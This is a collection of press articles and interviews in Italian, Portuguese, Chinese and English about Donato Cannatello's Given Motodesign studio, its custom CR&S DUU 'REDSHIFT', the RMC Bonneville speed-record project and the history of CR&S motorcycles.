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Super Special N°14
Lo scorso 4 Luglio presso il garage milanese di Given Motodesign è stata presentata la REDSHIFT, una moto custom su base CR&S DUU. Conosciamo tutti CR&S e le sue opere su due ruote, ricordiamo tutti la DUU con il suo poderoso bicilindrico, una moto “fatta a mano, col cuore, a Milano”, pensata per la produzione in serie ma che restava altamente artigianale e piena di carattere, speciale già in origine e resa ancora più speciale da un team di esperti di design.
Per scoprire tutti i segreti di questa motocicletta abbiamo deciso di intervistare Donato Cannatello, ex lead designer presso CR&S e ora leader del team Given.
Veniamo accolti calorosamente nell’Atelier arredato con cura dove la REDSHIFT è nata. Andiamo a chiacchierare nell’ufficio soppalcato dal quale possiamo vedere tutta l’officina e i ragazzi del team all’opera.
- Prima di tutto, com’è nata la realtà di Given Motodesign?
Given nasce sostanzialmente dopo la mia esperienza motociclistica in alcune aziende come CR&S, Matchless, Aprilia ed altre.
Ho preferito aprire uno spazio mio e concentrarmi su una azienda che potesse dare spazio alle mie idee. Nasce così Given che non è altro che la trasposizione in inglese del mio nome “Donato”.
Qui cerco di mettere a frutto quelle che sono le mie esperienze dal concept e dal design fino al lavoro in officina… perché in aziende piccole e belle come la CR&S, dove eravamo in 10, ovviamente tu ti occupi del design ma devi anche andare in officina a montare e a controllare tutti i passaggi… e quindi ho fatto un’esperienza a 360° dello sviluppo della motocicletta.
Jornal Do Carro
Olhando a moto, não dá para saber a marca. Muito menos se ela é boa ou não de dirigir. Mas uma coisa é certa: goste ou não de motocicletas, é impossível ficar indiferente diante da máquina customizada pela Given, uma pequena empresa de design localizada em Milão, na Itália. É lá que o brasileiro Luiz “Careca” Mingione está trabalhando, dando forma física aos projetos do designer italiano Donato Cannatello.
Por baixo das novas formas da moto, há uma CR&S Duu. A CR&S era uma fabricante artesanal que nasceu em 1992 em Milão. A sigla representa “café racers e superbikes”. Duu significa dois em dialeto milanês, e designa o motor de 2.000 cm3. O modelo foi lançado no Salão de Moto de Milão (Eicma) em 2009. De acordo com Mingione, cada unidade foi vendida por 40 mil euros.
Função é dar formas aos projetos
A função de Mingione é moldar em fibra de vidro e alumínio, e fazer impressões em 3D, para dar formas às ideias criadas por Cannatello. O designer chegou a trabalhar na própria CR&S e na Aprilia, entre outras fabricantes de moto.
Como foram produzidas apenas 100 unidades do modelo e atualmente a marca não está operando, qualquer moto da CR&S já seria suficientemente exclusiva. Porém, sempre há clientes que querem ainda mais exclusividade. É o caso do dono dessa unidade. Mingione informa que ela foi feita para um holandês que tem restaurantes na Itália e na Nova Zelândia. A customização custou 24 mil euros (cerca de R$ 110 mil). O preço inclui projeto, construção de protótipos, peças e mão de obra. O trabalho levou seis meses.
Ele trabalhou também em uma CR&S Vun (um, no dialeto milanês), o segundo modelo da marca italiana. Nesse caso, o motor tem 650 cm3.
Depois que a moto fica pronta, o brasileiro anda com ela para ver se tudo está em ordem. Mingione é um experiente piloto, que em 2002 venceu o Paris-Dakar, na categoria até 250 cm3.
Agora, ele diz que está começando a trabalhar em um novo projeto, de uma Suzuki SV 650, fabricada em 1999. “A moto não vale mil euros (R$ 4.500), mas a dona vai gastar cerca de 6 mil euros (R$ 27 mil) para fazer algo exclusivo”, diz.
Ele diz que o primeiro passo é desmontar inteiramente a moto a ser customizada. Depois, o quadro é repintado e vai recebendo as novas peças, num processo que leva cerca de quatro meses, dependendo da complexidade.
Mingione trabalha por projeto. Ele está na Given há um ano, e pretende continuar lá até o final do ano que vem.
Ele diz que decidiu tentar a vida em Milão porque os pais de sua esposa tinham restaurante na cidade. Antes disso, porém, Mingione passou por vários países.
Moldagem com clay aprendida na Honda ajudou
Ele entrou na Honda do Brasil em 1993. Entre 98 e 99, após o lançamento da Honda Biz, no qual trabalhou no primeiro protótipo, fez um estágio na matriz da empresa, no Japão. Lá, aprendeu a construir protótipos com clay, uma espécie de argila industrial, empregada na construção de modelos.
Após sair da marca japonesa, em 2006, passou um mês na China, a convite de um empresário. O objetivo era selecionar possíveis marcas de motos que poderiam ser vendidas no Brasil.
Desse périplo por “mais de 30 empresas”, uma chegou a vir para o País, a Iros, que fechou em 2013.
Na sequência, Mingione foi para a Ford na Turquia, onde ficou de 2015 a 2016, trabalhando com clay no desenvolvimento de interior de caminhões.
Em 2017, voltou para a China. Foi como consultor técnico da UM (United Motors), empresa colombiana com sede nos Estados Unidos, que pretendia produzir no país uma motocicleta. Depois disso, rumou para Milão, onde pretende ficar até o fim do ano que vem.
“É preciso varrer muito chão de oficina”
A quem sonha em seguir caminho semelhante, Mingione alerta para as dificuldades: “Indico para quem gosta de motocicleta e quer aprender coisas novas, tendência, tecnologia de materiais e desenvolvimento”, diz. “Mas para um iniciante não é fácil. Tem que ralar e varrer muito chão de oficina.”
Tudo isso, claro, fora as questões legais (visto de trabalho) e de comunicação. O idioma pode ser um entrave, dependendo do país escolhido. Quanto à remuneração, Mingione estima que na Itália um iniciante vai receber entre 600 e 800 euros por mês (de R$ 2.700 a R$ 3.600).
DUU REDSHIFT – L´apporto del designer nella customizzazione delle motociclette
Il motociclismo è un’attività in cui convergono armoniosamente diversi aspetti del design, quello principale è il trovare una soluzione tecnica al problema “funzionalità del trasporto”. I produttori cercano costantemente di ottimizzare la performance in tutte le sue varianti, l’obbiettivo è quello di rendere il mezzo più efficace ed in grado di risolvere le problematiche degli utenti intervenendo anche sullo stile evidenziando la componente emozionale del mezzo. L’emozione è l’elemento primario, per i motociclisti tutto ciò che li circonda mentre sfrecciano sul loro mezzo ha un aspetto completamente diverso, hanno un contatto reale e diretto con ogni cosa. Sono consumatori attivi, che vivono la scena della strada invece di guardarla, ciò che provano è una passione travolgente capace di far sentire l’ebbrezza della libertà più totale. La seguente tesi racchiude l’esperienza lavorativa di uno studio di customizzazione di una motocicletta CR&S DUU, il cliente in questione è un privato la cui richiesta è quella di, partendo da
una base esistente, rendere unico il mezzo tramite l’aggiunta di componenti che fossero in grado di esaltarne l’aspetto estetico rendendo tangibili
i desideri del cliente. Grazie alla forte passione
che accumuna il designer ed il cliente si è creato
un legame di empatia, che ha permesso a GIVEN
motodesign di rispondere pienamente alle neces
–
sità del consumatore, rendendo una base classica
un vero e proprio oggetto da collezione. Accomu
–
nati da questo forte sentimento, proprio l’empa
–
tia ha reso la comunicazione con il cliente molto
semplice ed efficace, permettendo ai progettisti
di capire immediatamente i bisogni del cliente e,
addirittura in alcuni casi, di anticiparli. In questo
modo si è favorito il lavoro di squadra permet
–
tendo anche al cliente stesso di prendere parte al
progetto dando immediati feedback riguardo gli
studi svolti ed i prototipi realizzati.
Attraverso le tecnologie a disposizione, GIVEN
motodesign è stata in grado di realizzare un mez
–
zo che avesse una forte componente industriale
mantenendo però un’impronta di artigianalità
riscontrabile in alcune lavorazioni, quali salda
–
ture e piegamenti di lastre di alluminio realizzate
a mano dal team. Il continuo dialogo tra i diversi
settori ha portato alla creazione di un prodotto
che esprimesse il carattere del proprietario, rive
–
landone l’identità e il proprio essere.
GHOST
ROBERTO VA A BONEVILLE
Il navigatore del Multivan alle nove e trenta ci ferma davanti al cancello chiuso di una cascina. Scendo dall’auto. Nel cortile una signora anziana sa già quale sarà la domanda che le rivolgerò. Prima di me al di là del cancello grigio ha ascoltato le stesse parole da Graziano Rossi, Marco Belli, Makoto Tamada.
“Si, questo indirizzo è via Ca’ Nove uno, ma hanno dato lo stesso nome a una via della zona industriale qui vicino. Dovete tornare verso Verona. Al semaforo girate a sinistra e alla prima rotonda a destra.”
Spengo il navigatore tedesco e ci affidiamo a Google Map. Lo smartphone di Diego in dieci minuti ci porta davanti al cancello della In-Motion. Gianna ci accoglie in ufficio. L’aria condizionata ci urla, come se servisse, che fuori ci sono quaranta gradi. Attraverso i vetri, nel capannone, i marchi HRC e Minolta sanno di MotoGp. Lungo la parete una fila di serbatoi colorati con il marchio Zaeta. La ragazza con i leggings azzurri imballa nelle scatole i cerchi Kineo pronti per essere spediti. Un bel culo….
Roberto ci ha dato appuntamento qui, nell’azienda di Giulio Bernardelle, per realizzare le fotografie che racconteranno la prima puntata di questo progetto folle. Folle come lo sono i progetti che legano stretti gli uomini alle passioni. Roberto Maria Crepaldi è un sessantino figlio d’arte. A diciassette anni accompagnava i clienti della concessionaria del padre a ritirare le auto da Enzo Ferrari. Negli anni ha contribuito a portare in Italia i marchi Jaguar, Aston Martin, Triunph, Harley Davidson e Husquarna. Nel 1993 ha fondato il team CR&S Britten e con la Britten V 1000 ha partecipato a tre edizioni del Tourist Trophy.
Oggi, con il marchio RMC, Record Motor Cycles, lavora per andare sul lago salato di Boneville e battere quel record di velocità fermo a quattrocentoventitre chilometri all’ora.
Mentre Diego prepara corpi macchina e obiettivi, la squadra di Roberto a poco a poco si riunisce. Ugo Torri è un imprenditore e un gentleman driver con la passione per la velocità e le belle moto. Giulio Bernardelle è il responsabile tecnico del progetto. Ha vinto due mondiali con Valentino Rossi e Roberto Locatelli, è stato direttore tecnico dei team Pramac Honda e Konica Minolta Honda in MotoGp. Donato Cannatello è il designer responsabile della carrozzeria streamlined della moto. Dario Marchetti ha corso su pista e su strada, nel mondiale, in superbike, nell’endurance, a Macao e Suzuka. In America ha già vinto a Daytona e sul lago salato di Boneville sarà quasi sdraiato sulla RMC per correre a oltre quattrocentoventi all’ora verso il record.
I ragazzi di In-Motion portano fuori dal capannone il prototipo della RMC. Il team si stringe intorno alla motocicletta. Diego inizia a scattare.
Immaginatevi un tardo pomeriggio invernale, un uomo si siede alla sua scrivania, ha davanti un foglio bianco sul quale sta per iniziare a tracciare i primi, emozionati, segni di matita facendo prendere forma allo schizzo del suo sogno, a due ruote, con un marchio tutto suo, che non nasconde certamente i traguardi ambiziosi che vuole raggiungere, Record Motor Cycles.
Quest’uomo si chiama Roberto Maria Crepaldi, e di sogni a due ruote ne ha già realizzati parecchi. Nasce professionalmente nell’ambiente delle quattro ruote, iniziando a lavorare con il padre, che era Concessionario Ferrari. Lui, giovanissimo, ha così modo di conoscere da vicino un personaggio importante per la sua formazione e che di sogni ambiziosi realizzati se ne intende parecchio, Enzo Ferrari.
Dopo l’esperienza nel settore auto, dove passa da Ferrari a Jaguar a Aston Martin, Roberto si dedica alla sua grande passione, le moto, e non si ferma al solo piacere di guidarle. A inizio anni ‘80 partecipa al rilancio in Italia di tre marchi assai famosi quali Harley Davidson, Triumph e Husquarna. Nel 1993 fonda il Team CR&S, CafeRacer & Superbikes e incontra un altro personaggio importantissimo, il neozelandese John Britten, un architetto appassionato di moto che ha progettato e costruito nel garage di casa la sua una moto da corsa che porta il
suo cognome. Motore bicilindrico a V 1000 cc con soluzioni ciclistiche geniali ed innovative, la Britten corre nella neonata categoria B.E.A.R.S (riservata a prototipi di moto bicilindriche e tricilindriche non giapponesi) e il Team CR&S diventa il punto di riferimento in Europa e con la Britten V1000 prende parte a moltissime gare internazionali titolate, tra cui 3 Tourist Trophy all’Isola di Man e vince il Campionato B.E.A.R.S. World Series.
Roberto e John sono molto amici, hanno idee ed obiettivi comuni e in comune hanno anche tantissima passione che, condita con altrettanta energia, gli permette di raggiungere questi ambiziosi traguardi tecnici e sportivi. Come molte belle ed emozionanti storie, anche questa purtroppo vive un terribile momento quando, nel settembre del 1995, un brutto quanto inesorabile male si porta via John, a soli 45 anni. Roberto e il Team CR&S tornano al Tourist Trophy nel 1996, su quella magica isoletta spersa nel Mare d’Irlanda, laddove tutto era iniziato pochi anni prima, e con Shaun Harris alla guida, la Britten V1000 passa sotto la bandiera a scacchi del Senior TT, una grandissima soddisfazione per ricordare ed onorare il suo costruttore con un altro sigillo sportivo importante che lega indissolubilmente quel sodalizio vincente venuto dagli antipodi e che non mancherà di stupirci ed emozionarci ancora in futuro …statene certi.
Nel 2002 Roberto diventa costruttore e il marchio CR&S presenta due interessanti ed originali moto, la monocilindrica CR&S VUN nel 2005 e la bicilindrica CR&S DUU nel 2009.
Torniamo a quel foglio di carta, che pochi minuti dopo, di bianco ha ben più poco. Roberto, che anche in questo ha le idee ben chiare, oltre ad aver tracciato le linee della moto che dovrà nascere, ha già anche in mente la formazione che dovrà trasformare quella bozza, prima affinandola e poi materializzandola, dando vita a un prodotto davvero unico e terribilmente veloce, tanto veloce da onorare il marchio che porterà sul serbatoio nel tentativo di stabilire un nuovo Record di Velocità, anzi due, sul lago salato di Boneville.
La squadra deve essere coesa ed efficace, perché di lavoro da fare ce ne sarà davvero tanto e bisognerà farlo bene, molto bene. Per questo Roberto viene affiancato da Ugo Torri, imprenditore, grande appassionato di due ruote e che di traguardi ambiziosi raggiunti se ne intende parecchio, Ugo è il direttore del Progetto RMC.
Per la parte tecnica la responsabilità progettuale ed esecutiva di questa affascinante avventura viene assunta dall’ingegner Giulio Bernardelle, con vastissima esperienza nel mondo delle corse sia nei motori a due tempi, contribuendo ai Titoli Mondiali di Roberto Locatelli e Valentino Rossi in sella alle Aprilia 125 e 250 cc, sia nel campo dei propulsori a quattro tempi con trascorsi in MotoGP.
L’aerodinamica è l’altro capitolo di fondamentale importanza per battere il record attuale, che a Boneville per la categoria Partially Streamlined, parzialmente carenate con pilota esposto, dove i nostri hanno deciso di cimentarsi, è di 423 km/h. Si, avete letto bene sono quattrocentoventitrè chilometri all’ora, e le linee delle moto saranno curate e realizzate da Donato Cannatello, titolare della Given, dinamica azienda specializzata nello studio prototipale e nella realizzazione di carrozzerie complesse.
Anche nella scelta del pilota Roberto dimostra nuovamente di saperci fare davvero. Colui che avrà l’onere, e l’onore, di ruotare la manopola del gas si chiama Dario Marchetti, pilota professionista dalla carriera ultra trentennale, Dario ha corso in molte delle piste e dei tracciati più importanti ed affascinanti del mondo, da Daytona a Macau collezionando tantissimi successi. Durante una piacevole chiacchierata Dario mi confida: “sai, il fatto che abbiano scelto me non solo mi riempie d’orgoglio, sono emozionato e davvero onorato di fare parte di questo Team, Roberto lo conosco da tanto tempo e lo stimo molto, siamo amici e per lui ho già corso qualche anno fa, proprio su quella fantastica moto chiamata Britten V1000 del Team CR&S”. Tutto torna, magicamente, con passioni ed emozioni che si ritrovano e si intrecciano. “Poi”, prosegue, “alla mia lunga carriera mancano solamente due cose, un tentativo di Record ed il Tourist Trophy dell’Isola di Man al quale dovevo prendere parte negli anni ‘80 ma per quest’ultimo ormai è tardi”.
Grande Dario, ora pensiamo al Record e poi per il TT – inteso come Lap of Honour – forse si potrà fare qualcosa …ma per il momento non sveliamo nulla e restiamo concentrati su Bonneville.
Completano il Team il Responsabile Media Riccardo Capacchione, giornalista professionista nonché valido tester per moltissime riviste di settore e Raffaele Canepa, fotografo, e regista che svolgerà la funzione di Produttore Media.
Il progetto è davvero interessante e tecnicamente assai intrigante. Un telaio con struttura mista ospiterà il propulsore aspirato a 8 cilindri, molto compatto, posizionato longitudinalmente. Le cilindrate saranno di 2000cc per “Red Spirit”, che rende omaggio all’immensa cultura motociclistica italiana, per molti anni punto di riferimento assoluto per tutte le altre nazioni, e di 2500 cc per “Tribute to John Britten” per onorare questo geniale personaggio che con pochi mezzi, coadiuvato da un manipolo di amici tecnici, ha creato una delle più belle motociclette da corsa mai esistite, suggellando il forte legame tra John e la velocità. Nel 1993 un siluro motorizzato Britten V1000 conquistò i Record mondiali sul quarto di miglio e sul miglio con partenza da fermo e sul chilometro lanciato.
I lavori procedono spediti e tra qualche tempo potremo sentire il suono di questo poderoso propulsore che avrà una potenza di oltre 400 cavalli. E’ partito il conto alla rovescia per la Boneville Speed Week del 2017. Ghost avrà il piacere e l’onore di raccontare tutte le tappe evolutive di questa bella ed emozionante avventura.
Grazie Roberto e grazie a tutto il Team RMC. Bonneville si avvicina, accendiamo i motori!!!
Testo: Pier Giuseppe Ortalda
Foto: Diego Mola
MOTO.IT
Invertite l'ordine: quello che state leggendo è il commento e chi ne avrà voglia tra voi lettori scriverà qui sotto il vero articolo sulle special e le custom esposte a EICMA 2016: mi pongo fuori dall'ambito giornalistico ed entro dritto nella gazzarra selvaggia del parere personale, dell'antipatia/simpatia verso qualcosa come il customizing, e le sue mille declinazioni, che per definizione costituisce un luogo di confronto tra modi contrapposti e asintotici di vivere il motociclismo, quindi chiedo a tutti di considerare queste righe un mero commento: il vero articolo lo scriveranno i lettori volenterosi.
...
Per cercare di orientarmi nelle centinaia di fari che mi ammiccavano suadenti, e per capirne di più, mi sono lasciato sedurre dallo stand di Given Motodesign che esponeva tra le altre una - a mio parere interessante - special su base Kawasaki ZRX 1100 (chiamata “Maialona”) in collaborazione con Officine Riunite Milanesi, della quale mi hanno incuriosito molto i dischi poligonali, a garanzia del cui funzionamento rigoroso si è posto lo stesso fornitore, il mitico Enrico Discacciati in persona!
Donato Cannatello (Donato-Given... capito?), titolare di GIVEN e con esperienze di progettazione in CR&S, Matchless, Borile, Aprilia, è stato paziente, e scambiando due chiacchere con me mi ha esposto il suo punto di vista su EICMA 2016 e il futuro del customizing.
Per inquadrare GIVEN e le opinioni riportate da Donato, aggiungiamo che si occupa sia di fornire un servizio di progettazione e design a chi vuole realizzare un prototipo (dal concept alla pre-serie da portare alla produzione), sia a quei privati che chiedono singoli progetti “frame off” sulle proprie motociclette.
«Stranamente abbiamo avuto molto più feedback dalla ZRX che dalla DUU, esposte entrambe nel nostro stand, nonostante la DUU sia senza dubbio un progetto più raffinato e la ZRX un mezzo molto più economico, ma evidentemente più “eye catcher"».
E come giudichi il livello del Salone nell'ambito custom e special?
«Il livello di EICMA, se ci limitiamo alla parte custom e special, mi sembra decisamente più elevato e maturo rispetto a quello di qualche anno fa: dalle realtà artiginali, che comunque producevano risultati eccezionali, si sta passando ad un approccio più maturo sia sul design che sull'ingegnerizzazione delle parti. Dal punto di vista delle moto, invece, mi è piaciuta molto l'Harley “OPERA” South Garage, molto elegante; ha vinto anche il contest, ma come sai bene i contest praticamente li vincono un po' tutti (Donato si riferisce alla miriade di categorie e alla non numerosissima partecipazione n.d.r.); il corner custom invece mi è sembrato un po' sottotono, poco spazio e decentrato rispetto al centro vitale del Salone, e questo mi sembra un po' un controsenso: si tratta della parte più stimolante, invece moltissimi non l'hanno visitata perché non sapevano che era nell'angolo del padiglione 2; è anche vero che c'è una fascia di pubblico che non è proprio interessata al custom, sono quelli che hanno il V-Strom con il bauletto dietro, ma ci sono pure tantissimi veri appassionati che preferiscono vedere un pezzo ricavato dal pieno che invece non sono nemmeno riusciti a trovarci».
Sul futuro del customizing? Donato non ha dubbi:
«Il passo avanti, secondo me, è nettissimo rispetto al passato: nel progettare una special si è passati dal poggiare la moto sul banco ed improvvisare, all'effettuare per prima cosa, come nel nostro caso, un rendering e una scansione 3D, per poi lavorare direttamente al computer e realizzarne a mano le parti, in lamiera o semplicemente stampate in 3D; il futuro del mercato del customizing non lo vedo nelle capacità dei progettisti, perché oggi tutti possono prendere un computer e mettere un ragazzino a disegnare e realizzare attraverso una stampante 3D, ma credo che ciò verrà dettato da fattori legali, come il rispetto delle norme di omologazione e dall'evoluzione dello stile e delle tendenze: bisognerà vedere quanto durerà questo fenomeno di customizing molto artiginale, credo che l'hand made potrebbe benissimo essere soppianto a breve da un customizing più progettato, più disegnato ed evoluto».
Un'ultima domanda: perché le gomme tassellate su una moto stradale? (ok, lo so, è una mia crociata personale...)
«E' stata una scelta del cliente... ma devo dirti che se non ci fosse stata questa richiesta non avremmo disegnato la ZRX “Maialona” così come la vedi, fermo restando il concetto di appoggiare i muscoli addominali e non le parti basse al serbatoio, che ci sembra una soluzione... “migliore”. Forse senza le gomme tassellate avremmo fatto una moto meno spigolosa, più rotonda».
Vi lascio alle moto della gallery, con l'ammirazione per tutti gli espositori del settore custom e special che di certo non sono lì per un ritorno economico immediato, ma che spesso investono tempo e denaro invasati dalla passione di spostare sempre un pò più in alto l'asticella dell'eccellenza e della follia.
Tecniche di studio e design
Tecniche di studio e design
Pubblicato in Cina con una tiratura di 75.000 copie, ad uso come manuale tecnico nelle facoltà cinesi di ingegneria, il volume "Tecniche di studio e Design" è il terzo di una fortunatissima serie di manuali tecnici scritti dal prolifico prof. Stone Wen.
Al suo intenro descrive alcuni processi produttivi da noi adattati, portandoli ad esempio per i giovani studenti cinesi.
La pubblicazione di questo libro è stata una esperienza estremamente piacevole ed interessante.
内容提要
温为才、陈振益、苏柏霖、Enrico Leonardo Fagone、Donato Cannatello编著的《产品造型设计的源点与突破》从点、线、面、体出发，对产品造型追本溯源，以该源点再次出发，探讨了演绎丰富造型的可能性，以帮助读者透析造型设计的本质。本书提出了6个造型方法，4个造型步骤，3个产品统一性的技巧，为读者从事造型设计工作提供了实际而有效的造型方法。针对自由曲面，提出了混成、围合及动作思维3种造型手法，为读者驾驭自由曲面这一造型难点提供了针对性的解决方案。本书以造型心理惯性出发，提出了5组造型心理惯性及其突破的方法，为读者打破自身的造型局限，进入更为丰富的造型世界开启了一扇窗口。本书采访了多位欧洲顶级设计师，实地走访了多家意大利顶级设计公司，为读者提供了全新的第一手设计资料，通过对这些设计案例的深入分析，可以帮助读者了解了这些优秀设计师的设计方法及优秀设计案例的造型过程，有助于开阔读者的设计视野并提高读者的审美层次。
Sintesi dell'intervista:
1a. The form of motorbikes has undergone great changes ever since their emerging. What do you think might be the factors involved in this process of changing?
I do not entirely agree.
The soul of motorbikes has remained substantially unchanged in more than a hundred years.
And this is confirmed by some models currently in production which reinterpret the style of classic motorbikes since they recall the essence of motorbikes; two wheels, an engine, vibrations and emotion.
The changes in forms and styles that inevitably ensued in time depend in my opinion upon 4 reasons: technique, fashion, cultural evolution and racing.
For the first 80 years we’ve been focused mainly on technical evolution, producing machines which aimed more than enything else to perfection and performance.
In the last 20 years instead the development of the more interesting elements of technique and racing stopped, leaving the evolution of the motorbike to the sole socio/cultural aspects.
As of today such aspects are predominant in motorcycle production and generate nostalgic, absurd, futuristic or hyper detailed models.
.1b. In which way the form of European motorbikes might evolve in the future?
European design, such as eastern and western design, will specialize following specific exigencies; form is always defined by the place where production begins.
Notwithstanding the inevitable cultural contamination, European production will always aim to a motorbike that is both functional and passionate, a perfect balance between driving and aesthetic characteristics, fun and usefulness. Everything to go along with our own territory, so uneven, with variable landscapes, winding roads and steep hills.
As American production is dedicated to their endless plains and long and straight roads, and at the same time eastern production tends to follow the markets, cities and street overcrowded with extremely functional and rational products.
- Each excellent motorbikes design is featured by its own unique style, conveying to the customers special emotions and connotations. As a designer, how do you illustrate the personality of the motorbike by using the form language ?
In motorcycle design, and more generally in industrial design, volumes are the main feature, the first to convey a message to the customer.
Looking at something against the light, one can sense immediately its character: if it conveys power, lightness, speed, elegance or anything else.
The same happens in nature, discerning in the darkness a pit-bull from a poodle just from its outline.
- Motorbike design has to take many parts into consideration, such as the chassis, the engine and the exhaust pipe and so on. It appears complicated and overwhelming to beginners. Do you have any suggestions on how to balance the skin (the covering parts) with the structure to achieve a perfect unification?
It depends: are we drawing on a white sheet or are we working on something?
In general, design should come first, before exhaust pipes, before the frame and before the engine. Design has to be the first approach to a motorcycle project. Mechanics will then follow the directives of design with reciprocal adaptation.
If the approach of design follows the planning (as it happens in restyling), then some fixed points have to be decided in order to proceed freely with all the rest. For technical objects such as a motorbike, there can be an easy rule: parts which are mechanically interesting or well done have not to be covered, but left in plain sight. If possible it is to be preferred to redesign a technical part that is not satisfactory and make it part of the design, instead of covering it.
There is however one fundamental thing in our designing, the point of view of a motorbike is never perfectly lateral to the bike but is placed higher; let’s do not then only design a beautiful lateral view, often a good proportion of the lateral/superior volumes is more important that the lateral view.
- In a certain extent, the perspective view, light and shadow of a motorbike is more difficult to control than those of a car. How can we get a better control in motorbike sketching? Can you Please show us the drawing process of a Motorcycle( by using 6 pictures to explain the drawing steps). For the young students, How to improve the drawing abilities.
Considering the difficulties of motorcycle design, we can interpret it as a multilevel design.
1A first level, global vision, a second level, more detailed, a third level, even more detailed, and so on. The first level is the most important, what the customer gets at first sight, what conveys you the pleasure or fun of an object.
I work following this rule.
Starting from the overall view (general volumes) and then following with the definition of more particular details: the tail, the front, the frame, etc. up to the screws.
- Motorbikes and cars are all transportation vehicles and the form design of both are naturally connected. Then, what, do you think, distinguishes each of them?
Historically, the use and function of cars and motorbikes have always been different and hence also the respective design.
Now they are crossing, evolving in all directions.
Cars used to have as primary function transportation, while bikes were more linked to the idea of form (fun, taste, speed).
Today the market tends to fill any void, and therefore we have cars that are pure form and motorbikes which are pure function.
For motorbikes this change is by now consolidated on the market (i.e., scooter), while this new tendency for cars is still not predominant, and interests a smaller niche of the market; but I am sure that soon we will see cars with the engine in plain sight, “naked” as motorbikes.
- At present, many new technologies, such as carbon fiber and LED, are applied to the manufacturing of motorbikes. How will these new technologies affect the form design of motorbikes?
New technologies have always influenced design as a fundamental part of its development process.
Personally the main contribution that I received and appreciated from modern technologies has been in production numbers.
Today it is easier to build a small series of motorbikes thanks to new technologies such as carbon fiber, LEDs, CNC machines, prototyping and new materials.
For example, prototyping and CNC milling applied to modern materials allow us to have a unique ABS piece, without the need of expensive and difficult injection moulding; furthermore, thanks to silicon stamps, we can build small series of copies in polyurethane with low costs.
Also polyelliptical headlights (even better with LED technology) contributed to overcome the limits of industrialization. They can be hided in a transparent Plexiglas fairing, shaping them without the need to homologate a new light as it was necessary before.
And finally carbon and laminates in general free us from structural boundaries of plastic, with mechanical and not only aesthetic improvements.
- Some of the top motorbike designs are completed by handicraft. How is the value of the motorbike is expressed by traditional handicraft?
I am fond and always been a supporter of handwork.
In motorcycle design handiwork is substantially clay modeling and the level of detail is high, but it requires time and economical resources for the reverse engineering process necessary to transform everything in digital form.
I prefer using digital the means that are at our disposal, avoiding the analogical passage, to simplify and speed up the creative process.
RIDERS 08 2009
In una Milano sempre meno cont el coeur in man, per fortuna c’è ancora qualcuno che costruisce le moto con il cuore e con le mani.
Una a una, con cura artigianale e passione. Di storie di moto e di uomini ne sono state raccontate tante, ma questa è la storia di un’idea.
Una storia semplice, ma speciale nel suo piccolo.
Se due ruote muovono l’anima, il coraggio di pochi amici è riuscito a riportare un marchio motociclistico a Milano. Un tempo all’ombra della Madonnina operavano marchi come Bianchi, Miller-Balsamo, Iso Moto, Parilla, Guazzoni, Innocenti. E la Paton di Peppino Pattoni, l’ultimo costruttore privato a battersi nei GP contro i colossi giapponesi, con le quattro cilindri verdi.
Oggi, nella città della moda, a tagliare moto su misura c’è la CR&S. Vista da fuori, la sua sede operativa è un piccolo capannone come tanti altri nella zona industriale di Settimo Milanese. Tranne che per un particolare, le moto allineate fuori: si somigliano, ma non sono identiche. Sono monocilindriche un po’ cafè racer, un po’ naked formato tascabile. Si chiamano Vun. Sono l’Idea. Le persone che l’hanno realizzata lavorano sotto lo stesso tetto, come parti della medesima motocicletta. L’officina È al piano terra, i muri sono tappezzati dai manifesti del Bol d’Or, del Tourist Trophy e di Assen. Il reparto design e scartoffie È sul soppalco open space (anzi, spasi avÈrt), dominato dalla sinuosa carenatura della superbike Britten V 1000. Roberto Crepaldi siede proprio di fronte. Fu lui a fondare la CafÈ Racers & Superbikes nel 1992, dopo aver lasciato la Numero Uno aperta con Carlo Talamo e Max Brun. L’anno seguente incontra John Britten, il geniale ingegnere neozelandese famoso per la sua V 1000. Anche lui all’inseguimento di un’idea veloce. La Britten, sostenuta in Europa dalla CR&S, si mette in mostra nelle competizioni in tutto il mondo, fino alla scomparsa dello stesso Britten. Sfruttando l’esperienza di imprenditore nel ramo auto (era stato concessionario di Ferrari, Jaguar e Aston Martin), Crepaldi prende spunto dall’ultimo progetto dell’amico John di una monocilindrica da competizione, monoposto, con il rapporto peso e potenza pari a uno. Uno. Vun, in dialetto milanese… Giovanni Cabassi e Giorgio Sarti sono gli amici, imprenditori, liberi pensatori di moto che nel 2002 hanno affiancato Crepaldi nella CR&S. Due anni dopo Roberto Pattoni, figlio di Peppino e patron della Paton, diventa partner della CR&S come responsabile tecnico dello sviluppo. La scelta del motore cade sul Rotax Bombardier 650, apprezzato sulla BMW F grazie alla sua vocazione stradale e all’affidabilitÀ . Pensata come un mono da corsa, la Vun si rivela un animale da misto stretto, ottima anche per l’uso in cittÀ . Il design fonde le linee classiche del telaio in tubi alla moderna carrozzeria in alluminio, linee affusolate e soluzioni tecnologiche. Ogni esemplare È personalizzabile, perchÈil pilota possa provare il piacere di costruirsi la propria Vun scegliendo componenti e verniciatura. Alla fine del 2006 comincia la produzione di serie, in poche decine di esemplari l’anno, affiancati dai prototipi racing. Di recente si sono aggiunte le due versioni EvoluziÀ²n del mono da 652 cc. La prunta per la cursa sviluppa 68 cv, mentre la nurmÀ l si accontenta di 54 cv a 7.000 giri. Comunque niente male, tenendo conto che il peso a secco È di soli 135 chili… La Vun parla meneghino perfino nella scheda tecnica, nella quale il disco freno flottante diventa disc balerÀ¬n e la catena con gli o-ring cadÈna cont i anÈi de goma…
La grande scommessa della CR&S sembra vinta, la distribuzione si slarga in Europa e Stati Uniti, ma le idee non smettono di girare. Quella di dare l’inevitabile seguito alla Vun, con due cilindri fuori dagli schemi e dalle logiche dei grandi numeri, era giÀ nella testa dei costruttori milanesi nel 2008. FinchÀ©, racconta Crepaldi, al Motor Bike Expo di quell’anno arriva la rivelazione: «Avevamo lo stand della OMM, l’Officina Meccanotecnica Milanese che importa le Wakan, assieme a quello della Confederate, proprio di fronte allo stand Zodiac con il nuovo bicilindrico X-Wedge di S&S. Quindi Wakan, X-Wedge, Confederate, Vun… Duu!».
L’aneddoto racchiude di per sÈla cifra concettuale, stilistica ed estetica della nuova bicilindrica CR&S. In sostanza: una maxi streetfighter inedita, meno elitaria della Confederate, radicale come la Wakan e costruita
facendo tesoro dell’esperienza Vun. Il cuore del progetto È il motore X-Wedge, che ha il requisito fondamentale di non essere un’imitazione del Twin Cam Harley-Davidson. Il V2 a 56° S&S È altrettanto massiccio, ma piÀ¹
moderno e potente, con i suoi 2.000 cc, i tre alberi a camme, l’iniezione elettronica. Àˆ capace di 160
